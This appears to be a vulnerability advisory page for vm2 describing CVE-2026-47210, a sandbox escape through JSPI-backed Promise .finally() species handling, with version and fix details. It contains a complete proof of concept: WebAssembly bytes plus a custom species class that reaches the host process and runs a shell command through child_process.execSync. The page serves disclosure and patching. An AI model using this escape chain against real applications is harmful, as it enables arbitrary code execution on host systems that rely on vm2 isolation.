vm2
Affected
- introduced
0, fixed3.11.4(semver)
Fixed versions
3.11.4
Fix
- Fixed version
3.11.4npm install [email protected]
Advisory
Also known as: CVE-2026-47210
vm2 sandbox escape via JSPI-backed Promise .finally() species bypass
Summary
A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.
This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.
Details
On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.
That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.
This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.
PoC
Environment: node:26-bookworm
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
let P=e.constructor.constructor('return process')()
P.mainModule.require('child_process').execSync('touch pwned');
this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));
Impact
This is a sandbox escape leading to arbitrary code execution in the host process.
Who is impacted:
vm2 to execute attacker-controlled JavaScript as a security boundaryPractical impact:
vm2 isolationCritical Basis: The source's own band: CRITICAL
0, fixed 3.11.4 (semver)3.11.4
3.11.4npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0